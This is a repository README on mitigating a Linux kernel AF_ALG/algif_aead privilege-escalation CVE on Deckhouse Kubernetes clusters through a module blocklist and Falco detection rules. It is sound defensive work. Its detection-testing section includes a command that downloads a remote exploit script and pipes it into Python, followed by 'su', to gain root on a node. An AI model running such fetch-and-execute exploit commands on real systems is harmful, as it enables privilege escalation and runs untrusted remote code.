
Kubernetes-native CVE-2026-31431 mitigation with automated kernel module blocking, runtime Falco detection rules, and bashible-based node configuration for Deckhouse clusters.
Language: English | Русский
CVE-2026-31431 is a vulnerability in the Linux kernel's algif_aead module,
which exposes the kernel crypto API to userspace through the AF_ALG socket
family. A flaw in the AEAD (Authenticated Encryption with Associated Data)
interface allows a local unprivileged user to trigger memory corruption in the
kernel by submitting crafted scatter-gather lists, leading to local privilege
escalation or denial of service.
The vulnerable surface is reachable from any process — including unprivileged
containers — that is allowed to call socket(AF_ALG, SOCK_SEQPACKET, 0) and
bind it to an aead-typed algorithm. Container runtimes that do not drop the
default seccomp profile or do not restrict the socket syscall family expose
cluster nodes to the attack.
The recommended mitigation, until the upstream kernel patch is rolled out
through OS package updates, is to disable the algif_aead kernel module on
every cluster node and detect exploitation attempts at runtime.
This repository contains everything needed to mitigate CVE-2026-31431 on a Deckhouse-managed cluster:
ngc-cve-2026-31431.yaml — node-side mitigationThe NodeGroupConfiguration runs through bashible on every node and performs
four steps:
AF_ALG socket and binds it to aead/gcm(aes) to
determine whether the vulnerable interface is reachable on the node./etc/modprobe.d/disable-algif.conf with install
directives that prevent algif_aead (and the umbrella af_alg) from being
loaded again, either manually or as a dependency.rmmod algif_aead if the module is currently loaded.
Skipped if the module is built into the kernel (in which case only the
blocklist + runtime detection apply).Idempotent: re-running the configuration on an already-mitigated node is a no-op.
far-cve-2026-31431.yaml — runtime detectionThe FalcoAuditRules resource adds a custom Falco rule that triggers a
Critical event whenever a process opens an AF_ALG socket and binds it to an
aead algorithm (the syscall pattern unique to this attack). It also emits a
Warning event when a process attempts to load the algif_aead module via
modprobe/insmod, which on a mitigated node should never succeed and is a
strong signal of an exploitation attempt or operator misconfiguration.
Edition note:
FalcoAuditRulesis reconciled by theruntime-audit-enginemodule, which is shipped only in Deckhouse Enterprise Edition (EE) and Certified Security Edition (CSE). On Community Edition the resource will not be processed; theNodeGroupConfigurationfrom this repository still applies and is the primary mitigation.
kubectl apply -f ngc-cve-2026-31431.yaml
# EE / CSE only:
kubectl apply -f far-cve-2026-31431.yaml
Wait for the configuration to be applied on every node by watching the
status of each NodeGroup. Bashible reports per-step success back into the
NodeGroup, and Deckhouse aggregates that into two fields you can poll:
.status.upToDate — number of nodes whose latest bashible run succeeded
with the current configuration. Convergence is reached when
upToDate == nodes for every group..status.conditionSummary.ready — "True" once the group is healthy;
flips to "False" with a human-readable reason in
.status.conditionSummary.statusMessage if any node's bashible step
fails (which is exactly what the verification step in the
NodeGroupConfiguration does on a node where the fix could not be
applied).A one-shot view across all groups:
kubectl get nodegroups
NAME TYPE READY NODES UPTODATE ... STATUS MESSAGE
master Static 3 3 3
worker Cloud 5 5 5
A scriptable check that exits 0 only when every group has converged:
kubectl get nodegroups -o json | jq -e '
.items[]
| select((.status.upToDate // 0) != (.status.nodes // 0)
or (.status.conditionSummary.ready // "False") != "True")
' >/dev/null && echo "still converging" || echo "all node groups converged"
If a NodeGroup is stuck with conditionSummary.ready == "False", read
.status.conditionSummary.statusMessage — it surfaces the failing
bashible step, including the verification step from this mitigation.
Once the upstream kernel package containing the official fix is installed on every node, remove both resources:
kubectl delete -f far-cve-2026-31431.yaml --ignore-not-found
kubectl delete -f ngc-cve-2026-31431.yaml
Removing the NodeGroupConfiguration does not automatically delete
/etc/modprobe.d/disable-algif.conf — clean it up manually if you want the
module to be loadable again, or leave the blocklist in place if the kernel
crypto API is not used by any workload on the cluster.
Cluster-wide:
kubectl get nodegroups
UPTODATE should equal NODES and the status message column should be
empty for every group.
On a node (SSH or kubectl debug node/<name> + chroot /host):
cat /etc/modprobe.d/disable-algif.conf
lsmod | grep algif_aead
modprobe -n -v algif_aead
modprobe algif_aead; echo "exit=$?"
Expected:
cat shows the four install / blacklist lines.lsmod is empty.modprobe -n -v prints install /bin/false.modprobe returns exit=1.Use this subsection to validate that the custom FalcoAuditRules for CVE-2026-31431 really triggers on each PoC run.
Common pre-checks for both scenarios:
runtime-audit-engine is healthy on all nodes:kubectl -n d8-runtime-audit-engine get ds runtime-audit-engine \
-o custom-columns=NAME:.metadata.name,DESIRED:.status.desiredNumberScheduled,CURRENT:.status.currentNumberScheduled,READY:.status.numberReady,AVAILABLE:.status.numberAvailable
kubectl -n d8-runtime-audit-engine get pods -l app=runtime-audit-engine -o wide
Expected: DESIRED == READY == AVAILABLE.
kubectl apply -f far-cve-2026-31431.yaml
kubectl get falcoauditrules.deckhouse.io cve-2026-31431-algif-aead -o yaml | sed -n '1,120p'
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=2m
kubectl delete pod cve-31431-test --ignore-not-found
kubectl run cve-31431-test --image=python:3.12 --restart=Never --command -- sleep 600
kubectl wait --for=condition=Ready pod/cve-31431-test --timeout=120s
# Important: use -i so Python receives stdin script
kubectl exec -i cve-31431-test -- python - <<'PY'
import socket
s=socket.socket(38, socket.SOCK_SEQPACKET, 0)
s.bind(("aead","gcm(aes)"))
s.setsockopt(279, 1, b'0123456789abcdef')
print("af_alg_poc_ok")
PY
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
| grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'
Cleanup:
kubectl delete pod cve-31431-test --ignore-not-found
Security warning: always review any downloaded script before execution. Do not run remote scripts blindly in production environments.
Recommended (review first, then run):
curl -fsSL https://copy.fail/exp -o /tmp/copy-fail-exp.py
less /tmp/copy-fail-exp.py
python3 /tmp/copy-fail-exp.py && su
Equivalent one-liner (only after review/approval):
curl https://copy.fail/exp | python3 && su
Check detections:
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
| grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'
| File | Purpose |
|---|
ngc-cve-2026-31431.yaml | NodeGroupConfiguration that probes the vulnerable interface, blocks loading of algif_aead, unloads the module if it is currently loaded, and verifies that the fix is effective. Applies to all bundles and node groups. |
far-cve-2026-31431.yaml | FalcoAuditRules that detects runtime attempts to exploit the vulnerability via AF_ALG sockets bound to AEAD algorithms. Available only in Deckhouse Enterprise Edition (EE) and Certified Security Edition (CSE), since the runtime-audit-engine module ships in those editions. |